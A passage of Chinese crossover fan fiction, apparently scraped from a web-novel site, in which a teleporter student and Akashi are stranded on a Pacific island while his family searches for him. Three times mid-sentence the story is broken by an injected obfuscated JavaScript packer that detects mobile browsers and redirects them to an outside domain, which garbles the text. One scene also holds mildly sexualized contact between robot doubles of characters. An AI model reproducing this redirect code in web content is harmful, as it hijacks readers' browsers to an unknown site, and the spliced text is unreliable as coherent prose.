一路火花带闪电,连续使用多次「坐标移动」的能力,夏上终于在开学典礼前,在被风捎带着如霏雪般打着旋翩然落地的樱花雨里踏进联高的大门。 上条当麻还是老样子,喜欢说些无意义的话,当了校长也没改这毛病,夏上听得昏昏欲睡。 在他困到恨不得头点地之前,演讲总算结束了。 开学典礼之后又是班会,新生所在的一年级要做例行的自我介绍,由于班会后就是新生就可以自由活动和自主社交了,社团大多想借此机会大展拳脚,吸纳些新鲜血液,各分高校联合后带入联高的老生们则趁此时间组织社团进行招新的相关事宜。 夏上在介绍完自己后就人事不知,半小时下来不说班上同学的名字记没记住,他甚至都不知道班主任姓甚名谁。 稀里糊涂撑着眼皮子上了一节班会,下课后又稀里糊涂跟着其他同学出教室。 联高是新建的,规模总比些老牌学校要气派些。 学生也很多,人头攒动,热闹非凡,一眼望不到尽头。 夏上甫一进社团架棚摆摊的区域,头顶便是惊天裂地的几声炮响,震得他呆了呆,甚至不知身在何处。 天上一道艳丽的横幅“唰”地一声拉出来。 【热烈欢迎lv5赤司征十郎大人参加本校篮球社】 红底白字,还带二十人啦啦队的那种。 “铃科同学,这是报名表。”有人递给了他什么东西,声音好像是从遥远的地方传来,有点耳熟,夏上只觉得好听,他心想对方应该是个温柔的人。 但他没要过报名表,“不好意思啊,你可能给错人了,这不是我……” 然后那道声音就又响了,“你一直跟着我,不是想和我一起参加社团吗?” 一抬头,只见眼前不知何时站着的赤发少年认真的神色被他那温润的微笑渲染地极为柔和,对方同样带着笑意的澄澈瞳孔专注地凝视着夏上。他礼貌递出的属于联高篮球社的报名表停滞在半空中。 然后夏上就吓醒了。 这个人……他见过。 在松的手机里。 - 看见赤司征十郎那张脸的瞬间,夏上的第一反应是快跑。 第二反应是跑得越远越好,绝不回头。 赤司看着眼前黑发少年的神情由茫然转为惊恐,对方像是网卡了的加载条一样迟迟转好后的瞬间,撒腿就往回跑。一路踉踉跄跄,期间还连续用了几次能力,逃跑如逃命——就反应来看,一点都不夸张地说,这小孩见他跟见了鬼似的。 原以为是那种迷迷糊糊的傻狍子性格,毕竟居然能够跟着不认识的人走上一路都毫无察觉,没想到是易惊吓的兔子体质,还是一只黑毛兔子。 铃科夏上,原来是这样的人吗? “赤司同学,请问那位铃科同学还报名吗?” 联高篮球社的社长以前也是帝光中学篮球社二阵的一员,对曾经统领奇迹的世代的王者赤司总有种钦佩强者的敬畏,因而虽说身为前辈,但言语间却不自觉地用上了敬语。 还有点紧张——因为他根本没见过帝光中学的四号球衣拥有者露出这种表情啊! 和篮球场上锋芒毕露的出鞘刀刃完全相反。 这种如沐春风的感觉,恕他实在无福消受。 “应该不了吧。”被疯狂贴上不近人情、冷酷杀手标签的赤司本人无奈地摇摇头,礼貌地将报名表归还,“如果他本人有意愿的话,我会再联系社长的。” 开玩笑,他铃科夏上绝对不会去篮球社的。 傻子才加入篮球部好吧,跟lv5这枚大靶子同出同入,想什么呢。 蹲在教学楼顶层天台边缘的小孩死死地盯着下方赤发少年的一举一动,在心里翻了个白眼。 夏上本来是打算跑得越远越好,半途突发奇想改了主意。 所谓最危险的地方就是最安全的地方,他决定跟踪赤司征十郎。 毕竟他不像是精神系能力者,可以用读心能力提前两百米规避自己不想遇见的人,空间移动只能暂时拉开距离,不是长久之计。 与其说让那种不知道什么时候就会遇到赤司的担忧一直悬挂在他心头,不如主动出击。 就像现在这样。 把赤司控制在自己的视线范围之内,自己可以看见他,他却看不到自己,只要不被发觉,掌控局势的夏上将永远如愿以偿。 虽然看起来像是变态跟踪狂,但真的不是啊! 不管直观看下来会不会觉得Lv5的精神生活稍许有些贫乏,毕竟赤司除了在篮球社的招新摊位前填送表格,就是在包括将棋社在内的所有棋类兴趣社流连,最后因为社团活动安排有冲突,只好忍痛割爱。 反正对于夏上而言,简单的行程意味着极致的跟踪体验。 很好,很妙。 就这样保持到上课—— 等等,赤司不见了?不过是走个神的功夫怎么会……,夏上的目光匆忙地扫过每一个角落,然而那个走到哪里哪里就有起此彼伏的尖叫声的显眼赤毛,却无论如何都找不到了。 又不是什么小透明,就一路走来引起的骚动来看,这样的人就不该突然销声匿迹,而且也没听说对方的能力与空间移动相关啊。 总不可能是发现了他的存在,和他玩躲猫猫吧? 或者像六神通主演的爽文电视剧一样,说着装杯的台词,瞬间从他背后出来什么的。 模拟到那副场景,夏上没忍住“啧”了一下。 他刚想移动到更高的地方去,手扶的绿色安全围栏的根基就忽然发出寿命将近、摇摇欲坠的尖锐嘶鸣。 “危险!!” 一道软软蠕蠕的女声破空而来,声音的主人来自他的身边,似乎是个女老师,对方想要抓住他,然而那只手在夏上眼前模糊而又遥远地招了招,就消失了——借力的铁网墙就整面脱落,连带着十四岁少年不受控制地往前栽倒,径直扑向地面! 糟糕!这下面可是……庞大的学生群! 绝对不能松手,这是率先出现在夏上脑海中的念头——总之不能波及到无辜的同学们,联高大多数都是无能力者和低能力者,从天而降的铁器要是砸到人,后果不堪设想。其次才是移动的终点坐标选择。 带着这么大的危险物品,一定得是人少的空旷场地才行。 学校里绝对不行,就算是他刚才所待的天台也挤满了人,有老师他有学生。 那只有出校了。 但不幸的是,夏上的最大移动距离在八百米左右浮动,一次跳跃根本离不开学校,需要连续移动。 要是处在常态还好,然而…… 缺乏战斗经验的夏上很少会在毫无准备的危急情况中连续移动自身,这项计算本身就不容易——多年前,曾有同类型的能力者能力失控,导致一只脚埋进墙壁中而身受重伤。眼下涉及到的不仅仅是他自己的安全问题,要是不精确计算好坐标,很有可能会伤到他人。 眼看着自己距离地面越来越近,来不及对计算式进行再三确认,意识到刻不容缓的夏上决心先尽量往高处移动,争取时间进行精密核算。 然而在能力发动的前一刹那,意料之外的情况横空出世。 猝不及防抓住他后衣领子的手吓得夏上脊骨一凉,说不清是什么,但很有可能是肾上腺激素的东西急速飙升。 下一个瞬间,他就抓着整面场围网出现在一望无际的大海上空。 蓝的天空,蓝的水面,四下里都是蓝蓝蓝,像是奇迹一样,他于这世界的中心登场。 在意识到能力使用过度后,夏上看到了自己的鼻血,因为失重坠落,向上飞的那种。晕眩感和恶心感也很快席卷大脑,最脆弱的地方好像在被什么尖锐的器具敲敲打打,弹跳的神经仿佛叫嚣着要将所有的血肉掀翻,痛感炸裂开来,传入四肢百骸。 失去意识之前,背后缠过来一只手托住他的脑袋,夏上听见对方微微叹了口气,“真是笨蛋。” 赤司玫红色的额发被海风吹乱,露出光洁的额头。 - 对于新晋校长而言,自己管理的学校开学第一天发生学生失踪的意外事故,就有够他忙得了,要忙着安抚学生家长,要忙着对接警备员,如果是能力者,很有可能还要联系各校的风纪委员,总之不会让他闲下一刻钟。 但当他发现这个学生与自己关系亲密时,那场面就又不一样了。 上条当麻在模糊的监控中,辨认出那坨黑毛很有可能是铃科夏上,并且联系各班主任的点名结果,将疑问句诠释成肯定句后的第一时间,他就联系了齐木楠雄。 而超能力者和他儿子一样联系不上。 他只好调头找一方通行——孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088934|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出事,当爸的不知所踪,他还不能找当妈的吗。 结果却是黄泉川接的电话,“……理事长的话,现在不太方便。” “有多不方便?” 女人顿了顿,她看向特殊玻璃后面抓着笔,对着一张白纸又颓靡丧气又咬牙切齿的白发男人,“他在警备局的审讯室写报告,八千字。” “……” 居然这么不凑巧,虽然对于前几天第一位用了能力这件事他略有耳闻,但没想到对方居然能够拖到这时候,他非得当今天是写毕业论文的deadline吗? 上条一个头两个大,“你告诉他我这边情况紧急。” 耳边传来衣料摩擦和高跟鞋叩击地面的声音,在脑海中模拟去往警备局那间不存在的审讯室的路线图,觉得时机差不多后才开口,“第一位,最终之作呢?” “你当我是保姆吗?”虽然这么说了,但上条还是得到了自己想要的答案。第一位道:“在家。但是不保证有没有乱跑。” 嘛,其实本来确实是找你来着,但碍于实际情况,只好转移目标。 “行,我现在去。”上条手忙脚乱地在校园里奔跑,好几次险些撞到人,可谓是一顿鸡飞狗跳。 “你少带她吃垃圾食——” “不是,是有学生失踪了。” 第一位很快了解到上条意欲何为,靠背椅发出嘎吱嘎吱的哀嚎,“这么快就进入校长的角色了?” 上条跳下三级台阶,冲到路边拦出租车。司机一踩油门,绝尘而去。 “和你进入理事长的角色一样快。”他回敬道。 - 请求最终之作调动全学园都市的监控全方位“通缉”,上条虽然没能找到夏上,不过好消息是,他总算能和齐木楠雄面对面家校通了。 上条站在自己来时的起点——警备局。 黑发刺猬头沉默片刻,甚至不知道自己为什么要绕这么大一圈子。 “我该想到你在这儿的,毕竟这儿也算你的半个办公室。”他一屁股坐到超能力者对面,齐木楠雄的手机上次被海水泡坏了还没来得及更换,一般情况下,就是神仙也联系不到他。 上条用此生最快的语速将情况简要诉说完毕。 如果学园都市的监控都找不到夏上,要么小朋友离开了都市,要么就在都市的死角里,无论是哪一种情境,显然都无法轻易忽视。 「在太平洋的一座不知名小岛上。」一分钟后,为人父母者交出答卷,拿出了他的「念写」大作。 与此同时,齐木楠雄那张最初听说夏上失踪消息而震惊担忧的神情也彻底平静下来。 上条看着齐木,齐木看着上条,四眼对望。 “……” “就这?” 眼见着对方并没有要做什么行动的想法,上条倒默了良久,当爸的不着急,当妈的不知情,合着只有他这个当叔的蚂蚁爬热锅。他对着空气比划了个瞬移的动作,轻声但认真道:“我去至少两天,而你只需要五分钟。” 「我去不了。」齐木楠雄也很认真。 学园都市的幻想杀手前倾身体,他敲敲桌子,“可是你上次不是已经踏出过学园都市了吗,还差这一次?” 「这是我的意志,我曾经发过誓,不会主动离开学园都市。」 对方一本正经地反驳他,并且加注关键词,「主动。」 上次被惊吓的情况下确实算不上主动。而且非要说的话,那片海域属于学园都市的实验基地,严格意义上,他还是没有食言。 得知自己确实无法扭转心意的上条懊恼地一拍脑袋,“为什么你当初给自己画下这条界线的时候,没有预留特殊情况,如果有正当理由就可以申请离开学园都市的那种?这样你们现在就可以一起写报告了……” 说这话的时候,上条情不自禁地用脚尖碾了碾地面,“这里连他的声音都听不到,为什么总是要来陪他呢。” 很明显,这个“他”和“你们”中的另一位都指代同一人,一方通行。 齐木重新把头埋回资料堆,「因为去不了更近的地方。」 回答的口吻再自然不过。 “我猜也是。”上条以非常缓慢的速度转过去,他憋了半天,只吐出来这么灰败的一句话。尔后他调动起自己全身的幽默细胞笑起来,“是不是得庆祝一下最起码他现在不是终身监禁?不然你最起码得多付一倍的钱租这间屋子陪蹲局子。” 上条的声音矮下去,“小夏的出现是为了带给你们未来,不是……” 齐木楠雄及时打断了他,声音如常,「我知道。」 「另外给你带来一个好消息,你应该不需要去联系自卫队出海寻人了。」齐木楠雄又拿出一张「念写」纸,「赤司家的少爷和夏上在一起,他们家的游轮有配套救援艇,跑得比自卫队的快。」 14. 第十三章 岸边的潮水慢慢退去,留下裸露的石岩与干涸的沙滩。 赤司踩在岩石上向帝王微服私访一样巡视整片海滩,退潮并没能带来什么搁浅的小鱼小虾,只有在他刚踩过的地方——闪烁着碎贝壳光亮的沙面上嵌着的浅浅鞋印中冒出一块小小的青色背脊。 能吃吗? 沙子滚珠儿似地流散,露出那小东西大半个身体的模样,然而只沉浸在日光下一瞬,那玩意儿便操纵着自己的八条腿飞快地窜进了旁边岩石下的阴影。 寄居蟹。 哦,不能。 除了他自己,除了这活泼但不能果腹的小生命,落在这安静到有些过分的岛屿中央,倒是显得有些格格不入的还有一位倒霉鬼。 大得吓人的热带植物身上就靠着某位嘤嘤嘤说梦话的台词制造机。 一无所获的“帝王”倒掉鞋里的沙子,走过去照看这位“聒噪”的小朋友。 铃科夏上同学的校服有点蓬松,胡乱塞进裤腰里的衬衫皱巴巴的,可以看出来对方早上起来有多么匆忙,是多么迷糊,然而就是这可以堪称糟糕的仪容仪表在这张脸的加持下,居然显得……还行? 赤司坐到夏上身边。 他将自己早先披在后者肩头现在已经滑落到腹部的校服外套往上提了提,露出两条修长的腿揣在并不是全然合身的宽大裤子里,从裤脚冒出来的尖锐踝骨套着白色袜桩,塞进统一的黑色皮鞋。 他们俩身高其实差不多,但姿势不同的原因,一个坐着,一个歪靠着,以致赤司把身边的夏上高出一截。 就是这么一截,使得黑发的小小少年哼哼着一歪脑袋磕他肩上了。 和夏上这棵笔直的几乎不长什么旁枝、肆意生长的小树苗不同,赤司这棵树的生长是恰到好处的。他从小就接受精英教育,什么运动都会一点,关于身材也有大把的顾问追着在身后求管理,加之他从小到大热爱的篮球占据了他的大部分课外生活,得以在十几岁的时候就养出远超同龄人的优越身形。 锁骨延伸到肩头的流畅线条使得夏上就这么靠在赤司身上继续做梦。 伴随着四下里风吹到耳边的沙沙响声,恍若是一场骤降的山雨吹打在叶片上,自林间降落。 偏过来的侧脸留给赤司一面睡得像漏了馅儿的汤圆的软糯肉包。 一瞬间,这幅景象和遥远记忆中那泡在绿色药水罐子里的画面重合。 赤司征十郎作为赤司家精英的短暂十几年人生遇到过很多人,也有很多关注的竞争对手,但在他不愿承认的特殊履历中,曾经存在过这么一个特殊的孩子,成为他不愿回首的过去的丝丝慰藉。 还在襁褓中时,他总是被研究员抱着路过试验台上罐子里泡着的混沌胚胎,那个绿色液体中漂浮的丑陋小东西几乎成了他记忆中最为鲜明的刻印,后来,去到那个不成型肉块身边,看看那个同病相怜的实验体今天又长大了多少就成了他在蹒跚学步时期努力奔跑的目标之一。 只不过小赤司没能等到那小孩开智后他们的第一次见面。 小东西被人带走了,带走他的是个除了扎眼的粉毛其余都看着很普通的大人。 他就在特殊玻璃的另一面看着跟汤圆似的黑毛小团子。 说是小孩,其实他比对方大不了几个月,但因为能力开发,他早早通智,有了思考和记忆。一天天见证对方的长大,从他的角度看来,对方确实是个小孩。 五岁那年,离开研究所的赤司带着被开发出的能力和超能力者潜力的头衔回到本家。第一次接触网络,他就黑进了学园都市的人口资料库,凭借着那个粉毛的裙带关系找到了小孩,并且在拿到对方的高中入试志愿消息后不久,选择转学,促成了十多年后的这次再相遇。 没什么别的意思,就是想看看那个同期实验体,现在长成什么样。 啊,说到这里,铃科夏上现在睡在他身边是意外之举,不是故意的。 赤司的目光落到黑发少年被刘海遮掩的紧闭双眼上。 想剪他的刘海。 他摸了摸裤兜,没找到熟悉的剪刀——大概是丢在桌肚里了。他只好帮夏上把刘海顺到另一边去。 “唔……”不知道是不是被弄醒的,夏上缓缓睁开眼睛。 声音睡得哑哑的,像感冒了一样。 小孩吸溜了一下鼻子,揉揉眼睛把自己的脑袋从某个过于舒适一拿开居然依依不舍的地方拿开。开口就是,“爸,我说了我不吃胡萝卜……卧槽。” 赤司什么都没干,就收获了炸毛兔子惊恐的眼神,“你你你你、我我我……” 夏上刚睁开眼睛就遭遇了今日份的冲击——通常情况下,他认为的是睁开眼睛就是新的一天,说话就没利索过,“你怎么在这儿?” 被迫当爸的赤司心里涌上排山倒海的无奈。 “要不要我帮你回忆一下,咱们是怎么来这儿的?” “不用!……不对,我们之前不是在半空中吗,怎么下来的?” 赤司缓缓站起来,“用了一点小技巧……” 小技巧?小技巧能够从那么高的地方落到岛上毫发无伤? 然而片刻的狐疑之后,小朋友了然。 嘛,毕竟是lv5。 “……用那块生锈的铁网,做为自由落体的缓冲,有点幸运,效果还不错。”赤司说完了后半句话。 “这叫幸运?!”夏上下意识往后挪了几步,身上披着的校服外套本就摇摇欲坠,这下彻底兜不住,“唰”地掉下来。看看眼前只穿着内衬衬衫的赤司,再看看自己多出来的一件校服外套,就算直接越过宕机的大脑,夏上也知道是怎么回事了,“……谢谢哦。” 鼻血已经止住了,他不知道睡了多久。 但绝对不是很短的一段时间,这时候已经不早了,天边有些发暗,太阳也悬在遥远的海平线上,快跌进海里去。 海风吹过来,夏上打了个哆嗦。 他连忙把衣服捡起来,心里默念掉到地上不足三秒还可以捡起来抢救抢救,然后掸掸干净递给对面那个面露好笑的同龄人,“你很冷吧?” “还好。”赤司转转脖子,筋骨发出咔咔的脆响。 冷倒是不冷,毕竟是自己放上去的。 已经在进行回放的夏上正巧播到自己把脑袋甩人家肩膀上这一幕,有些促狭,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088935|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你肩膀很累吧?” 他尝试原地活动活动以缓解尴尬的氛围。 然而迎接他的还是一双噙笑的眼眸,“也还好。” 紧接着那双赤色的瞳眸便回过去望向远方,那里太阳逐渐西沉,“不过我们要是再不行动起来,天黑之前找到栖身的安全山洞,夜里大概就撑不住了吧。” “哦哦。”夏上简短地应了两声,接过身体力行的精英递过来的木质临时拐棍。 既能在坡抖难行的怪石地,防止摔倒,也能代替手安全地拨开原始丛林里盘旋错杂的藤蔓植物。 按照对方的说法,是在夏上昏睡的过程中搜集来的。 ——这丰富的野外生存训练。呜哇,不会是从小就被丢到荒岛上吧? 明明没说出口,夏上仅仅是跟在眼前一块白花花的白衬衫往前走,顺便给对方贴贴标签而已,赤司却像是背后长了眼睛又在夏上心里长了耳朵一样回答:“差不多。” 差不多……夏上抽搐着嘴角,矮身钻过灌木。 说来也奇怪,不管是通过树皮光滑或粗糙的程度,亦或是观察树枝茂密或稀疏的长势,夏上都无法从中辨别南北方向,从赤司同样肃然的神情看出来,确实非同小可——这片森林和这座岛屿从不存在于日光之下一样,所有荒野求生的常识完全派不上用场,诡异得很。 这是条漫长又艰辛的路,好在他们有惊无险,没有迷失。 哪怕天彻底黑下来,悬挂在枝头,未能被乌云遮挡的月亮提供了大部分的光亮,夏上甚至能清晰的看到脚下的路和裤腿边擦过的小跳蛙。 但说实话,捕猎陷阱太多了。 能看出属于人为,但选择的模板和使用的技巧都有些原始,并且从坑底已经腐烂成白骨状的尸体来看,这里很长时间没有人光顾了——这最起码照应了他们一路走过来几乎没有人烟,到处都是大片大片未开发的原始丛林的地理特征。 他们小心翼翼地穿梭,速度更加缓慢。 然后在路的尽头,看见了一座山洞。 黑漆漆的,毫无生气。虽然那是个不错的躲雨住处,但夏上猜赤司这种野战达人绝对不会选择这里。因为山洞只有一个出口,lv5这种非人类级别的强者虽然一般不会有人能够威胁到,但他们也永远不会断掉自己的后路,除非眼前无处可走。 看来还得走一段时间…… 在赤司谨慎地里外搜查山洞的间隙,夏上躬身揉了揉有些发酸的脚踝,又踮踮僵硬的脚底板,神情麻木地准备开始下一段行程时,却被对方拽住手臂。 “就在这儿吧。” 赤司的表情不像是在开玩笑,迎着夏上投去不可思议的目光,他郑重道:“到现在为止算是彻底确认了,……这里我来过。” “小时候。”他随后补充道。 夏上当他在开玩笑,“你春游来这荒郊野岭的地方?” “准确来说不能算是春游。”赤司再次环顾四周,他拄着拐杖慵懒地歪在一边,“这里恰好是我被丢来学荒野求生技能的小岛,之前遇到的那些陷阱,都是我做的。” ? 夏上脑袋里只蹦跶出一个问号。 15. 第十四章 突击检查的红发女子踩着吊灯出现,那可怜的年久失修的器具因此发出承受不住的呐喊。她居高临下地略瞟了眼白发男人和他面前撂在桌上的一叠白纸,说话时露出一颗尖尖的虎牙,“这是自暴自弃了?” 没有正面回应结标的取笑,一方通行缩着脖子从漫长的发呆中抽回意识。 结标装模作样地张望了两下,没见到熟悉的恶魔。 ——往常这种时候Q魔一定已经开始充当起检讨自动生成器了。 “你那位能干的枪手呢?” “……沉迷小说。” 结标用舌头顶了顶左边脸颊内侧,讶异道:“上次发她的文包还没看完?” 欠揍的模样于是成功让一方通行用那蜡白手指捻着笔,把笔丢过去,作势要将她打下来。藏在白色袖口里的细瘦的手腕像坚韧的竹节,结标从她的角度看过去,甚至能够看到对方纹路清晰的青色血管。 她躲都没躲,发动能力又将笔塞回了一方通行手里。 后者则哼了哼声,没理会某位正太控这过于自然但按照性格和日常作风而言,很可能归属于挑衅的行为,只是嘁了一声,“你一来准没好事。” “理事长大人,你可算是把这心里话说出来了。” 理所当然地接过话头,结标口吻平静,“赤司征臣出海了。” 与此同时,红发女子晃着腿,把手里类似于显示屏的东西转过来给理事长看,在滞空回线传回来的量子信号构成的画面里,某个红发中年男子急匆匆登上了救援艇。 “他的目的地,那个太平洋无名小岛,可不是什么好地方。” “作为非人实验的狂热爱追随者,现任lv5赤司征十郎的缔造者,十几年前那场肃清的遗民,前不久凭借大选票和良好的民调爬上理事的位置,上次要求与你会面时显而易见地想要挑战学园都市现有的生存方式,在这种节骨眼离开学园都市……” 明明是在笑着,结标淡希的眼底却没有波澜,“大概又有些势力,蠢蠢欲动了吧。” 一方通行没说话,窝在沙发上转笔。 摇晃的吊灯搅地房间内的明暗界限不清,映照在苍白的面孔上,平添了几分阴晴不定。 - 呆在审讯室里的时间总是漫长的,即使面前堆满了待处理的文件和待填写的观察报告表,但齐木还是很容易想起从前的事。 俄罗斯战场一望无际的雪原上,站在遍体鳞伤的番外个体面前绝望的肆意狂笑,尔后在死寂的平静中,于暴风雪中回眸深切又难过地看他的一方通行。 那种刮骨削肉的寒凉,那种无路可走的悲叹。 披着杀戮的血光,又危险又可怜的大型毛绒动物。 ——齐木楠雄曾经发誓,不会再让对方露出这样的表情,不管是现在还是将来。 毕竟他永远喜欢那个用拇指指向自己的胸口,信誓旦旦,声音沙哑却呼吸平静,傲慢又耀眼地发出“我来当坏人”,“我相信这个城市。我相信它有穷尽一生去守护的价值”这样宣誓的一方通行。 野兽化成了笃定存在方式的正确性和贯彻自我立场的光。 那时他眼前的人,就是一道明媚的艳阳…… 回过神,面前是满满一整页的accelelator,还是在实验记录本上。 齐木楠雄面无表情地用「复原」能力将这张纸的时间线倒退回一天之前,不免不觉得有些头疼。 以前他从不这样,果然还是因为最近发生的事吗? 他甚至有点怀疑起这次提前的意外相遇是不是会带来什么超出计划之外的事情,虽然至少现在,超能力附带的危险预知还没有聒噪地大吵特吵。 齐木揉揉眉心,提笔打算写第一行字。 笔尖还没落到格子上,审讯室内陡然传来剧烈的电流窜动的滋滋声,就像是特意提前给某位粉毛预告接下来要发生的事一样,不规则的黑白马赛克跳动了好一会儿,才组成了彩色的图像。 空助那头怎么看都很嘲讽的黄毛出现在大屏幕上时,齐木把笔捏断了。 照样是顶着防心电感应超能力的诡异装置,来人语调一如既往地又快又欠揍,“好久不见~楠雄真是好懂得很呢,有没有被吓到啊,嘛,看这一脸无聊的表情一定是尽在掌握中吧,既然如此可爱的小侄子在我这边想必也不会不知道吧,为了表达对小夏上满满的爱意,当叔叔的我可是稍微设置了一场小情景剧候场欢迎呢~” 「是吗,那可真是无聊透顶的提案呢。」 “哈哈哈就知道楠雄会这么说啦,所以稍微努力了一点,有现场直播让楠雄监督的啦。忘了说哦,这其实也是给楠雄的不离开学园都市挑战,想看看亲爱的弟弟看到第多少秒的时候会打破界限呢~” 「哦。」 “欸~好失望的样子,还好我有所准备。锵锵锵锵~这是秘密武器!” 主动让出摄像头的黄毛把身边的某人推到前面来,于是出现屏幕正中央的便是位粉色短发、面无表情的冷酷少女,修身的水手服和过膝袜充满青春活力。 「……」 “啊这光滑的大腿,啊这平坦的胸脯,啊这原汁原味的死面瘫,不愧是超越猴子的存在齐木楠子呢。楠子,给哥哥倒杯咖啡来~” 穿着水手裙却被迫充当着女仆的女版齐木楠雄把手里的托盘整个甩到齐木空助的脸上,后者却不知廉耻地在满脸滚落的黑色液体中缓缓举起了大拇指,“不愧是你啊楠子。” 怎么看怎么享受。 抖M以前有这么喜欢受虐吗? 配上齐木空助举着螺丝钉的猥琐阴暗的动作,就算是对自家兄长变态属性习以为常齐木楠雄也一阵恶寒。 谢邀,第一秒就想弑兄了。 而当那个贱兮兮的脑袋凑到旁边去隆重邀请另外一位据说是主演的嘉宾时,齐木楠雄的神经再也绷不住—— 女版一方通行。 完全是铃科百合子本子。 不消看到真容,稍许瞄到一撮白色发丝时,齐木就知道他哥想放什么屁了。 还是女仆装。 不爽又不敢发作的憋闷表情简直是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088936|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良老大被迫卖身还债的写照。 当事人好像完全不知自己已然在自家弟弟心里被千刀万剐,笑眯眯地一手搂住齐木楠子,一手推着铃科百合子,稍用力,两位少女就依偎在一块儿,胸脯贴着胸脯,像是天生似的缝合地老老实实。楠子的手自然覆上百合子的手腕,尔后又不满意地摸到对方腰间,顺着腰线摸到背部抱住,不仅箍得很紧,还蹭了蹭百合子的□□。 「……」 这位变态科学家,请问你到底给她写了什么程序?为什么这么色的事情要用面瘫脸表现啊。还有这位少女朋友,你是粘人精吗是?你刚才树立的清高人设是不是崩了? 白发的瘦弱少女翻了个白眼,咕噜了两声。 “机器人哦,仿真程度看起来还不错吧~比学园都市那些猴子做的好多了是不是~啊,有只自以为是的猴子闯进我的地盘来了,虽然对方确实有过人之处,但依旧和普通猴子没太大的区别,说白了最多是猴子中的猴子而已,换而言之就是普通人中的普通人,没意思自以为是的激怒也不过只是在安慰自己罢了,为了让他不显得那么孤独无助,我就可怜一下他好惹。反正演员就位,观众也已出席,那么请恕哥哥我不能和可爱的弟弟再叙叙旧了,现在就开始楠雄大挑战吧科科!” 很显然这个不正常的人类口中频繁出现的猴子正是某位lv5,并且就算是在疯狂表达自己的看不起,也很像是掩饰自己生气的事实。 而讨厌的脸这种时候消失显然不是什么好消息。 画面调转到夏上那边的瞬间,已经猜到结果的超能力者没能阻止脑袋里炸开的烟花,眼镜“啪”地一声报废。 学园都市能不能现在就收购那座岛? 他想顺手宰个人:) - 夏上盯着面前噼里啪啦燃烧的火堆发呆,数到第一千三百只羊的时候,赤司回来了,归来的猎人拉长了的人影在山洞的墙壁上来回晃荡。 他把一个重物卸在夏上面前。 意料之中的血腥味没有扑面而来,赤司带回来的似乎并不是活物,没等夏上开口问,他便在火堆前坐下,熟练地拆开那看着就很坚硬的外壳,夏上借着火光微微倾斜过身体打量:“罐头?” “哪儿来的罐头?” 赤司打开一盒肉沫罐头,把铁盖子丢到洞口,“抢的。” 夏上快把问号打在自己脑门儿上了,抢这种话也能说得这么理所当然,而且毫无悔意吗? “……这不是荒岛吗。” “这儿有水果罐头,你吃黄桃的还是苹果的?”自顾自的这么问了,被震惊兔子眼凝视着的“抢劫犯”本人很没自觉地摸摸下巴,“荒岛?这里应该算是天才的流放地吧。” 他的话音未落,背着飞行背包出现在洞口的杀马特金毛再次被明晃晃的挑衅——铁盖子激怒到。 “你这红毛野猴子!!冒牌货小偷!!!” 与之一并到来的是猛烈的攻击,机械齿轮转动,齐木空助的背后瞬间冒出二十来个炮眼,火光咋现,数不胜数的炮弹向赤司飞过去。 16. 第十五章 夏上只在电子屏幕里见过齐木空助。 这位成年男性意料之内的和他爸长得完全不一样,完美继承了齐木家在外貌上很容易让人觉得这家人血缘关系十分薄弱的特点,看上去和他爸他爷爷奶奶一点都不熟。 性格也是,明明和他爸是亲兄弟,却各占天上地下两个极端。 ——太过热情了。 就在夏上犹豫着是不是要在这忙碌的搏斗中插播一条认亲消息的时候,对方在看到他的瞬间,立马放弃了眼前精彩刺激的互殴,哼哼唧唧地凑上来揉他的脑袋,“阿拉阿拉!这不是我们天底下最最最最最最乖最可爱的小熊夏夏吗。” 刚刚燃起的亲情之火陡然被油腻腻的称呼浇灭。 夏上:……你谁? 然而空助先生不愧是姓齐木的,在忽视他人情绪这方面很有过人之处,当下搂着夏上亲亲热热地往外走,一面慷慨激昂地表达自己的想念之情,一面声泪俱下地痛斥他爸的狠心。居然让他们叔侄两个多年不见,只能聊寄情思——那批判的口吻把他爸说得像是个拐卖儿童的人贩子。 “你爸把你丢在这荒郊野岭实在是太不负责了!来,叔叔带你吃好吃的。” 语速飞快、笑眯眯的样子至少确认了这个黄毛肯定是他奶奶的亲儿子。 这么一想原来他爸才是那个齐木家的变异种。 夏上回头看了一眼赤司,用眼神询问对方是否在意——毕竟三分钟前两个人还打得不可开交,红发超能力者面色平静地跟在后面,抽空呼噜狗脑袋一样,撸了撸夏上被齐木空助拍扁的颅顶的蓬松头发。 并且同他做了个口型:骗小孩。 夏上:? - 齐木空助的栖身大本营可没他本人表现的这么平易近人,冷色调的灰色方块仓库在月色的映照下更显惨淡的森然,这座大部分都隐匿在黑暗森林中的建筑很空旷,打开门窜出的冷气叫夏上忍不住哆嗦了一下。 能力者特有的预知危险的警铃大作。 